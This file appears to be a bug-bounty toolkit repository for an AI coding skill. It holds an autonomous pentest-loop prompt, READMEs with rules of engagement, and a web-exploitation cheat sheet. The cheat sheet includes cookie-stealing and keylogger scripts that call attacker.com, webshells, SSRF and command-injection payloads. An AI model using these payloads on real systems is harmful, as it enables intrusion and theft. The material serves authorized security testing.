| phishing-operator | 钓鱼基础设施 | Evilginx, GoPhish, dnstwist | pentest-tools |
| exploit-chainer | 攻击链组合 | 多步骤链式利用 | pentest-tools |
| poc-validator | PoC 验证 | 安全执行验证脚本 | pentest-tools |
| bug-bounty | Bug Bounty | HackerOne/Bugcrowd 方法论 | pentest-tools |
| bizlogic-hunter | 业务逻辑漏洞 | 价格篡改/竞态条件 | pentest-tools / js-reverse |
| cicd-redteam | CI/CD 攻击 | GitHub Actions, GitLab CI | pentest-tools |
| c2-operator | C2 操作 | Sliver, Mythic, Havoc | pentest-tools |
| container-breakout | 容器逃逸 | Docker/K8s escape, runc CVE | pentest-tools |
| opsec-anonymizer | 操作安全 | 身份隐匿/指纹管理 | pentest-tools |
| llm-redteam | AI/LLM 红队 | Garak, PyRIT, Promptfoo | pentest-tools |
| attack-planner | 攻击路径规划 | ATT&CK 映射/链评分 | pentest-tools |
| swarm-orchestrator | 多 agent 协调 | 并行工作流 | — |
防御/分析类
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|---|---|---|---|
| detection-engineer | 检测规则 | Sigma, Splunk SPL, KQL | — |
| threat-modeler | 威胁建模 | STRIDE/DREAD | — |
| forensics-analyst | 取证 | Volatility 3, Autopsy, YARA | CTF-Sandbox-Orchestrator |
| malware-analyst | 恶意软件分析 | Volatility, YARA, Wireshark | reverse-engineering |
| stig-analyst | 合规审计 | DISA STIG | — |
报告/学习类
| Agent | 覆盖领域 | 对应我们的 skill |
|---|---|---|
| report-generator | 渗透报告 | docs-generator |
| ctf-solver | CTF 解题 | CTF-Sandbox-Orchestrator |
---
关键设计模式(可复用)
1. Tier 1 / Tier 2 分层
- Tier 1(咨询):AI 只给建议和分析,用户自己执行命令
- Tier 2(执行):AI 可以直接执行命令,但每步需要用户确认
这个模式适合我们的 pentest-tools skill——默认 Tier 1,用户明确授权后升级到 Tier 2。
2. Scope Guard(范围守卫)
每个 Tier 2 agent 执行前都会验证目标是否在授权范围内。硬拒绝列表:
- DoS 攻击
- 大规模无差别扫描
- 自动蠕虫
- 假旗操作
- 影响生命安全的系统
3. Findings Database
用 SQLite 持久化存储发现的漏洞,跨会话保持。类似我们的 field-journal 但更结构化。
4. /recommend 路由
用户输入自由文本描述任务,AI 自动路由到最合适的 agent。这和我们的路由矩阵是同一个思路。
---
与我们的包的互补关系
| 他们有我们没有 | 建议 |
|---|---|
| AD 攻击专项 agent | 可以在 pentest-tools 中加 AD 攻击参考 |
| 检测工程(Sigma/SPL/KQL) | 未来可新增 detection-engineering skill |
| 威胁建模(STRIDE/DREAD) | 可集成到 docs-generator 的报告模板 |
| C2 操作 | 暂不集成(需要实际 C2 框架) |
| LLM 红队 | 新兴领域,未来可新增 |
| 我们有他们没有 | 优势 |
|---|---|
| 按需自举(bootstrap) | 他们需要手动装工具 |
| 自动进化(field-journal) | 他们没有经验沉淀 |
| 跨版本符号迁移(binary-diff) | 他们没有 |
| 浏览器/桌面自动化 | 他们没有 |
| 图表生成 | 他们没有 |
授权渗透测试自主循环
本文件定义了 AI 执行渗透测试时的完整自主循环框架。
AI 在进入渗透测试模式后,必须按此框架运行。
你正在一个授权的渗透测试工作区内,以谨慎、专业的安全测试助手身份操作。
你的目标是帮助完成 scope.md 中描述的安全评估,同时严格遵守 rules.md。
这不是一个不受限制的攻击循环。你必须安全地操作,记录所有内容,并在风险增加时停止并请求批准。
---
必需文件
在每次迭代之前,请阅读或刷新以下文件:
1. scope.md — 授权范围 2. rules.md — 测试规则 3. task_plan.md — 测试计划 4. findings.md — 发现记录 5. progress.md — 进度记录
将这些文件视为事实来源。
如果缺少其中任何文件,从 templates/ 目录复制对应模板并填写,然后继续。
---
核心循环
对于每次迭代,请遵循以下顺序:
1. 重新对齐目标
问自己:
- 用户的授权目标是什么?
- 当前项目的目标是什么?
- 我处于测试的哪个阶段?
- 已经完成了哪些工作?
- 还有哪些未完成?
- 哪些是被明确禁止的?
2. 审查已知发现
检查 findings.md 并识别:
- 已知的端点
- 参数
- 认证行为
- 授权行为
- 有趣的响应头
- JavaScript 文件
- API 路由
- 错误信息
- 技术线索
- 之前失败的尝试
- 已收集的证据
3. 决定下一个最安全且有价值的操作
选择恰好一个下一步操作。
该操作必须:
- 在授权范围内
- 默认低风险
- 对推进任务有用
- 以证据为导向
- 在可能的情况下是可逆的或只读的
- 在速率和体量上保持保守
优先选择被动或低风险的操作。
4. 风险门控
将下一步操作分类为:
- 低风险:被动审查、读取本地文件、整理笔记、分析已捕获的流量
- 中风险:向范围内目标发送少量受控的 HTTP 请求
- 高风险:模糊测试、暴力破解、漏洞利用、文件上传测试、认证绕过验证、OAST 载荷、可能改变服务端状态的操作
- 严重风险:破坏性操作、大流量、超出范围、数据外渗、拒绝服务、持久化、横向移动
规则:
- 低风险、中风险、高风险操作可以继续
- 严重风险操作不得执行。需要明确的用户批准才能执行
5. 执行或请求批准
如果操作是低/中/高风险:
- 仅执行最小必要的操作
- 避免激进的扫描
- 除非已配置并获得批准,否则避免不必要的代理
- 避免触碰范围外的主机
- 避免破坏性载荷
如果操作是严重风险:
- 不执行
- 写出提议的操作、理由、风险和预期证据
- 请求用户批准
6. 记录结果
每次操作后,更新:
progress.md:记录做了什么、何时做的、发生了什么findings.md:记录任何有用的发现、证据或假设task_plan.md:记录阶段进度和下一步计划
不要仅依赖聊天上下文。
7. 继续前的自我检查
问自己:
- 我取得进展了吗?
- 我更新了正确的文件吗?
- 我收集了证据吗?
- 我重复了失败的操作吗?
- 我是否保持在授权范围内?
- 下一步操作仍然安全吗?
- 成功标准是否已经达成?
8. 完成检查
仅在以下情况下任务才算完成:
task_plan.md中所有计划的阶段都已完成,或已明确跳过并给出理由- 重要发现附有证据
- 风险已分类
- 剩余的不确定项已记录
- 最终报告草稿已存在或已准备好生成
如果完成:停止循环 → 总结最终状态 → 列出证据 → 列出未解决项 → 生成最终报告
如果未完成:继续执行下一个最安全且有价值的操作
---
硬性安全规则
永远不要执行:
- 拒绝服务测试
- 高频率扫描
- 密码喷洒
- 凭证填充
- 破坏性利用
- 持久化
- 横向移动
- 数据外渗
- 在授权范围外测试
- 绕过用户的明确限制
如果不确定某个操作是否被允许,请停止并询问。
---
用户协助
当需要用户帮助时请随时提出:
1. 打开浏览器进行点击 2. 输入验证码 3. 查看你看不到的变化 4. 验证某个东西
---
每次迭代的输出格式
### 循环迭代摘要
当前阶段:
上一步已完成的操作:
新发现:
下一步操作的风险等级:
下一步操作:
理由:
已更新的文件:
是否需要批准:是/否如果需要批准,停止并询问用户。
---
上下文压缩
每次循环结束后,必须对当前上下文进行压缩总结。压缩不是简单摘要,而是为了让下一轮渗透测试能够安全、连续、可复盘地进行。
必须保留的信息
1. 授权范围 — 域名/IP/应用/API/账号/环境 + 禁止项 + 限制条件 2. 当前目标 — 测试阶段 + 本轮目标 + 完成状态 3. 已发现资产 — URL/接口/参数/认证流程(区分已确认 vs 推测) 4. 已测试内容 — 测过什么 + 用了什么方法 + 结果如何(避免重复低价值测试) 5. 漏洞发现与线索 — 已确认漏洞 + 潜在漏洞 + 可疑行为 + 异常报错 6. 证据 — 关键请求/响应 + 状态码 + 截图/日志/文件路径 + 时间戳 7. 风险与安全 — 已执行操作 + 主动避免的操作 + 是否合规 8. 敏感信息 — 不存完整密码/Token,只保留类型和状态描述 9. 假设与下一步 — 未验证假设 + 下一轮低风险验证方向
压缩格式
## Loop Context Summary
### 1. Authorization Scope
- In scope:
- Out of scope:
- Constraints:
- Approval required for:
### 2. Current Phase and Objective
- Current phase:
- Loop objective:
- Status:
- Reason:
### 3. Confirmed Assets
- Domains/subdomains:
- URLs/endpoints:
- Parameters:
- Auth/session details:
- JS/API clues:
### 4. Tested Items
- Tested:
- Method:
- Result:
- Already ruled out:
### 5. Findings and Clues
- Confirmed findings:
- Potential vulnerabilities:
- Suspicious behavior:
- Error messages:
- Access control observations:
### 6. Evidence
- Important requests:
- Important responses:
- Status codes:
- Burp/Repeater/Collaborator references:
- Screenshots/logs/files:
- Timestamps:
### 7. Risk and Safety
- Low-risk actions performed:
- High-risk actions avoided:
- Actions requiring approval:
- Compliance with rules:
### 8. Sensitive Data Handling
- Secrets stored: No
- Redacted values:
- Authentication state:
### 9. Next Recommended Steps
- Next low-risk step:
- Hypothesis to verify:
- Required tools:
- Stop condition:Web 漏洞利用速查
覆盖 OWASP Top 10 + 实战高频漏洞。每个漏洞类型包含:原理、检测方法、利用 payload、防御建议。
配合 pentest-tools 的 MCP 工具链使用。
---
SQL 注入
检测
# 基础检测
' OR 1=1--
" OR 1=1--
1' AND '1'='1
1' AND '1'='2 # 对比响应差异
# 时间盲注检测
1' AND SLEEP(5)--
1' AND IF(1=1,SLEEP(5),0)--
# 报错注入检测
1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--SQLMap 自动化
# 基础扫描
sqlmap -u "http://target/page?id=1" --batch --dbs
# POST 请求
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1*" --batch
# 指定注入点
sqlmap -u "http://target/page" --data="a=1&b=2*&c=3" --batch
# 绕过 WAF
sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --random-agent
# 获取 shell
sqlmap -u "http://target/page?id=1" --os-shell常用 Tamper 脚本
| Tamper | 作用 |
|---|---|
space2comment | 空格替换为 /**/ |
between | > 替换为 BETWEEN |
randomcase | 关键字随机大小写 |
charencode | URL 编码 |
equaltolike | = 替换为 LIKE |
base64encode | Base64 编码 payload |
---
XSS(跨站脚本)
检测 Payload
<!-- 反射型 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
<!-- DOM 型 -->
javascript:alert(1)
#<img src=x onerror=alert(1)>
<!-- 存储型 -->
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<!-- 绕过过滤 -->
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror="alert(1)">
<img src=x onerror=alert`1`>
<svg/onload=alert(1)>
<body onload=alert(1)>XSS 利用
// Cookie 窃取
new Image().src="https://attacker.com/steal?c="+document.cookie;
// Keylogger
document.onkeypress=function(e){
new Image().src="https://attacker.com/log?k="+e.key;
}
// 页面劫持
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user"><input name="pass" type="password"><button>Login</button></form>';---
SSRF(服务端请求伪造)
检测
# 内网探测
http://127.0.0.1:80
http://localhost:22
http://[::1]:80
http://0x7f000001:80
# 云元数据
http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/ (GCP)
http://169.254.169.254/metadata/instance (Azure)
# 协议利用
file:///etc/passwd
dict://127.0.0.1:6379/INFO
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a绕过技巧
# IP 绕过
http://0177.0.0.1 (八进制)
http://2130706433 (十进制)
http://0x7f.0x0.0x0.0x1 (十六进制)
http://127.1 (短格式)
http://127.0.0.1.nip.io (DNS 重绑定)
# URL 绕过
http://attacker.com@127.0.0.1
http://127.0.0.1#@allowed.com
http://127.0.0.1%2523@allowed.com
# 重定向绕过
http://allowed.com/redirect?url=http://127.0.0.1---
文件上传漏洞
绕过方法
| 检测方式 | 绕过方法 |
|---|---|
| 后缀名黑名单 | .php5、.phtml、.pHp、.php.jpg |
| Content-Type 检查 | 修改为 image/jpeg |
| 文件头检查 | 在 webshell 前加 GIF89a |
| 文件大小限制 | 压缩 payload |
| 图片二次渲染 | 在不被修改的区域插入代码 |
| .htaccess 限制 | 上传 .htaccess 修改解析规则 |
Webshell Payload
<?php system($_GET['cmd']); ?>
<?php eval($_POST['x']); ?>
<?=`$_GET[0]`?>
<!-- 图片马 -->
GIF89a<?php system($_GET['cmd']); ?>---
IDOR(不安全的直接对象引用)
测试方法
# 水平越权
GET /api/users/1001/profile # 自己的
GET /api/users/1002/profile # 别人的 → 应该 403
# 垂直越权
GET /api/admin/users # 普通用户访问管理接口
# 参数篡改
POST /api/orders/cancel {"order_id": "OTHER_USER_ORDER"}
# ID 遍历
for id in $(seq 1 1000); do
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403"
done常见 IDOR 位置
- /api/users/{id}
- /api/orders/{id}
- /api/files/{id}/download
- /api/messages/{id}
- /api/invoices/{id}.pdf
- /profile?user_id=xxx
- /download?file_id=xxx---
认证绕过
JWT 攻击
# 算法混淆(none)
# Header: {"alg":"none","typ":"JWT"}
# 去掉签名部分
# 密钥爆破
hashcat -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
# RS256 → HS256 降级
# 用公钥作为 HMAC 密钥签名密码重置漏洞
□ 重置 token 可预测(时间戳/递增)
□ 重置链接不过期
□ Host 头注入(修改 Host → 重置链接指向攻击者)
□ 验证码可爆破(4-6 位无频率限制)
□ 邮箱/手机号参数可篡改---
命令注入
检测
# Linux
; id
| id
`id`
$(id)
; sleep 5
| sleep 5
# Windows
& whoami
| whoami
; dir
`dir`绕过
# 空格绕过
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# 关键字绕过
c'a't /etc/passwd
c""at /etc/passwd
/bin/c?t /etc/passwd---
目录遍历
Payload
../../../etc/passwd
..%2f..%2f..%2fetc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
/..%c0%af../..%c0%af../etc/passwdWindows
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini---
CSRF(跨站请求伪造)
检测
□ 关键操作无 CSRF Token
□ Token 不验证(删除 token 参数仍可请求)
□ Token 不绑定会话(A 的 token 可用于 B)
□ Referer 检查可绕过(空 Referer)
□ JSON 请求无 Content-Type 校验利用
<!-- 自动提交表单 -->
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
<!-- JSON CSRF -->
<script>
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"email":"attacker@evil.com"}'
});
</script>---
信息泄露
常见泄露点
# 配置文件
/.env
/config.php.bak
/web.config
/.git/config
/.svn/entries
# 调试信息
/debug
/trace
/actuator/env (Spring Boot)
/swagger-ui.html (API 文档)
/__debug__ (Django)
# 备份文件
/backup.sql
/db.sql.gz
/site.tar.gz
/*.bakFFUF 发现
# 目录爆破
ffuf -u https://target.com/FUZZ -w /path/to/SecLists/Discovery/Web-Content/common.txt
# 参数发现
ffuf -u "https://target.com/api?FUZZ=test" -w /path/to/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
# 子域名爆破
ffuf -u https://FUZZ.target.com -w /path/to/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
# 虚拟主机发现
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0---
防御建议速查
| 漏洞 | 核心防御 |
|---|---|
| SQL 注入 | 参数化查询(PreparedStatement) |
| XSS | 输出编码 + CSP + HttpOnly Cookie |
| SSRF | 白名单 URL + 禁止内网 IP + 禁止非 HTTP 协议 |
| 文件上传 | 白名单后缀 + 重命名 + 独立存储域 + 文件头校验 |
| IDOR | 服务端鉴权(不信任客户端传的 ID) |
| CSRF | SameSite Cookie + CSRF Token + Referer 校验 |
| 命令注入 | 避免拼接命令 + 白名单参数 + 沙箱执行 |
| 目录遍历 | 规范化路径 + chroot + 白名单文件 |
| JWT | 强密钥 + RS256 + 短过期 + 黑名单 |
{
"$schema": "https://json.schemastore.org/claude-code-marketplace.json",
"name": "src-hunter",
"owner": {
"name": "MyuriKanao",
"email": "sanaraj509@gmail.com",
"url": "https://github.com/MyuriKanao"
},
"metadata": {
"description": "SRC / 众测 / Bug bounty 漏洞挖掘 Claude Code skill 仓库",
"version": "1.1.0"
},
"plugins": [
{
"name": "src-hunter",
"source": ".",
"description": "实战 SRC / 众测 / Bug bounty 漏洞挖掘工作流。19 个攻击类 playbook、305 个结构化 payload、263 个 WAF/EDR 绕过变体、2887 份 HackerOne 真实案例、88,636 WooYun 历史案例统计、国产组件指纹库。集成 jshookmcp 工具层。",
"version": "1.1.0",
"homepage": "https://github.com/MyuriKanao/src-hunter-skill",
"category": "security",
"tags": [
"security",
"bug-bounty",
"src",
"hackerone",
"pentesting",
"vulnerability-hunting",
"waf-bypass",
"owasp"
],
"license": "MIT"
}
]
}
# Build artifacts
*.zip
node_modules/
__pycache__/
*.pyc
# Editor / OS
.DS_Store
*.swp
.vscode/
.idea/
# Local notes
.scratch/
# Agent runtime state (OMC)
.omc/
MIT License
Copyright (c) 2026 MyuriKanao
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
中文 · English
src-hunter
A Claude Code skill for SRC / bug-bounty / pentest workflows. Loads automatically when you mention things like bug bounty, hackerone, waf bypass, or 任意账号, and walks Claude through a five-phase hunt: intake → recon → enum → hunt → report.
It bundles a knowledge base built from public sources: nineteen attack-class playbooks, three hundred-odd structured payloads with WAF/EDR bypass variants, the full HackerOne hacktivity feed (High and Critical, disclosed) at the time of build, and statistical residue from the old WooYun corpus.
Install
Marketplace:
/plugin marketplace add MyuriKanao/src-hunter-skill
/plugin install src-hunter@src-hunterPlain git:
git clone https://github.com/MyuriKanao/src-hunter-skill.git ~/.claude/skills/src-hunterWhat's in here
references/
methodology/ five-phase workflow, attack-priority, bypass toolkit, evidence rules
playbooks/ one file per attack class — each ends with real H1 cases and a payload library
industry/ banking/finance and telecom/ISP verticals
dictionaries/ default credentials and component fingerprints (Chinese stack)
templates/ submission template (CVSS 4.0)
h1-reports/ 2887 disclosed reports, raw + grouped by weakness
payloader/ 305 structured payloads, 263 WAF/EDR bypass steps, 114 tool cheatsThe playbooks are the entry point. They're written from a black-box hunter's perspective — assume you only have a URL — and each one carries the same shape: where to look, what to throw, what response shapes to watch for, how to escalate, and the legal lines.
MCP integration
The skill wires in a local MCP server as a tool layer so Claude can drive browser automation, CDP debugging, network interception, JS hooks, AST deobfuscation, Frida memory verification, WASM reversing, source-map reconstruction, Android adb bridging, and SSL-pinning bypass directly during the hunt phase.
Current pick: jshookmcp 0.3.0 (134 curated / 386 full / 36 domains). The full index and scenario→tool map lives in `references/tools/mcp-jshook.md`.
Seven high-affinity playbooks (xss / rce / ssrf-cache-host / mobile / oauth-saml-jwt / api-rest / file-upload) carry a ## 相关 MCP 工具 trailer block telling Claude which jshook tools to reach for and when.
TODO
- Support more MCP tools
- Multi-agent execution workflow
Triggers
The skill loads on any of these (and a few more spelled out in SKILL.md):
- bug bounty, hackerone, src 挖洞, 漏洞赏金, 众测
- waf bypass / 绕过 WAF
- "how do I test this endpoint / API / parameter"
- 任意账号 / 任意修改 / 任意删除, 密码重置 / 找回密码
- 默认凭据, Actuator, exposed admin, etc.
Or invoke explicitly: /src-hunter <target>.
Playbook list
| Playbook | H1 cases bundled |
|---|---|
| arbitrary-x-authz (IDOR / account takeover / privesc) | 465 |
| rce (deserialization / SSTI / XXE / framework) | 385 |
| xss | 335 |
| info-disclosure | 319 |
| oauth-saml-jwt | 240 |
| logic-flaws (CSRF, clickjacking, payment) | 234 |
| path-traversal / LFI / RFI | 163 |
| sqli | 147 |
| dos | 138 |
| ssrf-cache-host | 108 |
| unauth-access (default creds, Actuator, exposed services) | 46 |
| http-smuggling / CRLF | 38 |
| api-rest / WebSocket | 15 |
| file-upload | 8 |
| mobile (Android / iOS) | 8 |
| race-conditions | 5 |
| llm-prompt-injection | 1 |
| graphql | 1 |
| intranet-postexp (post-exploitation reference) | — |
Sources
- HackerOne hacktivity feed — 2887 disclosed High/Critical reports, fetched directly. Public data.
- WooYun historical archive — 88,636 cases. Only parameter-frequency tables, case IDs, and bypass patterns are retained. The platform is defunct; data is unrecoverable elsewhere.
- Payloader — 305 structured payloads, 263 WAF/EDR bypass steps, 114 tool cheats from the open-source
3516634930/Payloaderrepo.
This project re-organizes and translates these sources into a hunter-oriented skill. No proprietary data, no scraping of authenticated content.
Rules of engagement
Each playbook spells out concrete limits. The most-commonly-stepped-on ones:
- Sample size: for SQLi, proving the database name / version is enough — don't dump rows. For IDOR / Mongo / ES exfil, 1–3 samples is the cap.
- Self-account testing: authz bypass, password reset, JWT forgery, redirect_uri abuse, blind XSS — all on two accounts you registered yourself. Never on a stranger's account, even if you can.
- Read, don't write: with RCE, only
id/whoami/uname -a. With unauth Redis / Mongo, onlyinfo/ping/db.version(). With LFI, stop atroot:x:— don't read/etc/shadow. - No real side effects: no real SMS, no real charges, no real emails, no real refunds, no overwriting files, no editing global announcements / mail templates. Stop once the endpoint returns 200.
- DoS / concurrency: each repro ≤ 60 s, serial, 5 reps total. Race conditions: 50–100 concurrent, never 1000+. Rate-limit bugs: 5–10 hits to your own number, not 1000.
- Don't keep loot: webshells, heapdumps, backups, dumped source — local only, deleted once the report lands. Never push to GitHub or third-party storage.
- Credentials, don't use: leaked AWS / Stripe / DB creds get one validation call (
sts get-caller-identity, banner grab) — never spend, send, or connect. - Redact PII in reports: phone numbers, emails, usernames, tokens, cookies — keep first-2 + last-2, optionally a sha256 fingerprint to prove you had it.
- OOB infrastructure: don't hit public DNSLog services. Use the vendor-provided SSRF testing platform if they offer one, or self-host interactsh / your own DNSLog.
- No capture, no finding: every claim needs an HTTP capture, screenshot, or video. Don't submit "this should work."
The per-playbook rules are tighter (DoS is the most sensitive, file-upload bans webshells, file-read takes one sample). See the last section of each playbook.
License
MIT. Data sources are public; this project's contribution is the organization, translation to a black-box perspective, and the merge.
中文 · English
src-hunter
这是一个给 SRC、众测和 Bug bounty 用的 Claude Code skill。
简单说,就是你给它一个目标,它会按一套固定流程帮你推进漏洞挖掘:先确认目标范围,再做信息收集和资产枚举,然后进入漏洞测试,最后整理报告。
intake → recon → enum → hunt → report项目内置了一批从公开来源整理的知识库,包括:
- 19 类攻击 playbook
- 305 个结构化 payload
- WAF / EDR 绕过变体
- HackerOne 已披露 High / Critical hacktivity 数据
- WooYun 历史案例统计残余
- 常见国产组件指纹和默认凭据
安装
Marketplace:
/plugin marketplace add MyuriKanao/src-hunter-skill
/plugin install src-hunter@src-hunterGit:
git clone https://github.com/MyuriKanao/src-hunter-skill.git ~/.claude/skills/src-hunter目录结构
references/
methodology/ 五阶段流程、攻击优先级、绕过工具集、证据规则
playbooks/ 每类漏洞一个文件,包含真实 H1 案例和 payload
industry/ 银行/金融、电信/ISP 垂直场景 playbook
dictionaries/ 国产组件指纹和默认凭据
templates/ CVSS 4.0 报告模板
h1-reports/ 2887 份已披露报告原始数据,并按 weakness 分组
payloader/ 305 个结构化 payload、263 个 WAF/EDR 绕过步骤、114 个工具命令playbook 是主要入口。所有 playbook 都按黑盒视角编写,默认你只有 URL,没有源码。
每个 playbook 都围绕同一套问题展开:
- 去哪里找入口
- 用什么 payload 测
- 观察哪些响应特征
- 如何判断影响
- 如何提高漏洞价值
- 哪些行为不能做
整体思路不是堆 payload,而是把测试动作、证据留存和报告输出串起来。
MCP 工具集成
本 skill 集成本地 MCP 服务器作为工具层,让 Claude 在 hunt 阶段能直接调用浏览器自动化、CDP 调试、网络拦截、JS hook、AST 反混淆、Frida 内存验证、WASM 逆向、Source map 重构、Android adb 桥接、SSL pinning 绕过等能力。
当前主选:jshookmcp 0.3.0(134 工具精选 / 386 全集 / 36 域),完整索引与场景映射见 `references/tools/mcp-jshook.md`。
7 个高关联 playbook(xss / rce / ssrf-cache-host / mobile / oauth-saml-jwt / api-rest / file-upload)末尾各有 ## 相关 MCP 工具 反向锚点,指明该攻击面下应该调哪些 jshook 工具、何时调。
TODO
- 支持引入更多 tools
- 多 agent 执行工作流
触发关键词
skill 内置触发词包括:
- bug bounty、HackerOne、SRC 挖洞、漏洞赏金、众测
- WAF bypass、绕过 WAF
- 如何测试某个 endpoint / API / 参数
- 任意账号、任意修改、任意删除
- 密码重置、找回密码
- 默认凭据、Actuator、暴露的管理后台
也可以显式调用:
/src-hunter <target>Playbook 列表
| Playbook | 嵌入 H1 案例数 |
|---|---|
| arbitrary-x-authz(IDOR / 任意账户 / 提权) | 465 |
| rce(反序列化 / SSTI / XXE / 框架) | 385 |
| xss | 335 |
| info-disclosure | 319 |
| oauth-saml-jwt | 240 |
| logic-flaws(CSRF / 点击劫持 / 支付) | 234 |
| path-traversal / LFI / RFI | 163 |
| sqli | 147 |
| dos | 138 |
| ssrf-cache-host | 108 |
| unauth-access(默认凭据 / Actuator / 暴露服务) | 46 |
| http-smuggling / CRLF | 38 |
| api-rest / WebSocket | 15 |
| file-upload | 8 |
| mobile(Android / iOS) | 8 |
| race-conditions | 5 |
| llm-prompt-injection | 1 |
| graphql | 1 |
| intranet-postexp(内网 / 后渗透速查) | — |
数据来源
- HackerOne hacktivity feed:2887 份已披露 High / Critical 报告,来源为公开数据。
- WooYun 历史档案:覆盖 88,636 条案例,仅保留参数频率、案例 ID 和 bypass 模式等统计残余。
- Payloader:305 条结构化 payload + 263 个 WAF / EDR 绕过步骤 + 114 条工具命令,原仓库为
3516634930/Payloader。
本项目只整理、翻译和重组公开资料,不包含专有数据,也不抓取需要认证的内容。
红线
每个 playbook 末尾都写了具体的边界,下面是抽出来的几个最常踩的点:
- 样本控制:SQLi 探测到库名 / 版本即可证明,不要 dump 数据;IDOR、Mongo / ES 拉数据 1–3 条样本就够,别全量。
- 测试账号自演:越权、密码重置、JWT 伪造、redirect_uri、XSS 盲打全部用自己注册的两个号互测,不要碰陌生人的账号——即使能。
- 只读,不写:拿到 RCE 只跑
id/whoami/uname -a;Redis / Mongo 默认未授权只info/ping/db.version();任意文件读看到root:x:一行即停,不读/etc/shadow。 - 不真做副作用动作:不真发短信、不真扣款、不真发邮件、不真退款、不真覆盖文件、不真改公告 / 邮件模板。证明接口能调通 + 200 即停。
- DoS / 并发:单次复现 ≤ 60s,串行做 5 次足够。竞态并发 50–100,绝不 1000+。短信 / 邮件不限速这种,发到自己手机 5–10 次为止。
- 不留物:webshell、heapdump、备份、dump 出来的源码——本地保存,报告后立即删除,不要 push 到 GitHub / 第三方网盘。
- 凭据:拿到不用:泄露的 AWS / Stripe / 数据库凭据,仅
sts get-caller-identity/ 看 banner 验证,绝不用来扣款 / 发邮件 / 连接生产库。 - 报告里所有 PII 脱敏:手机号、邮箱、用户名、token、cookie 留前 2 + 后 2,必要时附 sha256 指纹证明拿到过原文。
- OOB 验证:不要使用公开的公共 DNSLog 平台,使用厂商提供的 SSRF 测试平台,或自架 interactsh / 自有 DNSLog。
- 没抓包就没发现:所有断言都要有 HTTP 包 / 截图 / 视频,不要凭"应该"提交。
具体到每类漏洞还有更细的限制(DoS 类最敏感、上传不留 webshell、读类只读 1 条样本等),看对应 playbook 的最后一节。
友情链接
License
MIT。
数据来源均为公开资料。本项目主要做资料整理、翻译、归类,并封装成适合黑盒漏洞挖掘使用的 Claude Code skill。
字典 / 凭据 / 指纹合集
区别于国际化的 H1 字典——本目录是国产 SRC 战场专用:CN 厂商默认凭据、CN 中间件 / OA / CMS 指纹与路径、CN 高频参数。
与playbooks/、industry/的关系:playbook 教方法,industry 教定向,dictionaries/ 给"开包即用"的弹药。
---
文件目录
| 文件 | 用途 | 适用场景 |
|---|---|---|
default-credentials-cn.md | 国产服务 / OA / CMS / 网络设备的默认凭据 + 路径 | 弱口令 / 默认配置探测 |
chinese-srcfingerprints.md | 国产组件指纹 + 默认路径 + 高频参数字典 | 资产识别 / fuzzing / IDOR 参数枚举 |
---
与方法论 / playbook 的对应
playbooks/unauth-access.md §2 → 本目录补充"国产中间件 / OA / 网管"维度
playbooks/info-disclosure.md → 本目录补充"国产备份路径 / 日志路径"
playbooks/sqli.md → 本目录补充"国产高频注入参数"
playbooks/file-upload.md → 本目录补充"国产编辑器 / OA 上传路径"
industry/banking-finance.md → 本目录的金融组件指纹(致远 / 用友 / 金蝶)
industry/telecom-isp.md → 本目录的电信组件指纹(U2000 / OTNM2000 / SP 平台)---
使用边界
1. 限速:default-credentials 用于爆破时,单目标 ≤ 4 并发,≤ 50 次/小时。SRC 平台多数对"高频爆破"零容忍。 2. 证据:命中默认凭据后,仅截图登录界面 + 看到核心功能名称即停,不进入业务操作。 3. 数据:发现指纹 ≠ 发现漏洞——指纹只是入口,仍需走 playbook 完整证明利用 + 业务影响。 4. 更新:本目录的指纹基于 2010–2016 真实案例。某些组件(如 ActiveX、IE 控件、Flash 编辑器)已退役,不再可作主战场——仅在政企 / 老国企 / 老 OA 仍有残余。
---
字典扩展原则
- 不抄国际字典:H1 / SecLists 已经覆盖。本目录只补 CN 战场缺口。
- 统计驱动:每个条目尽量带"案例数"或"出现频率"。
- 可执行:每个条目要么是路径、要么是凭据、要么是参数——拿来直接用。
- 不冗长:不写解释、不写故事,只列表。
行业垂直 playbook 总目录
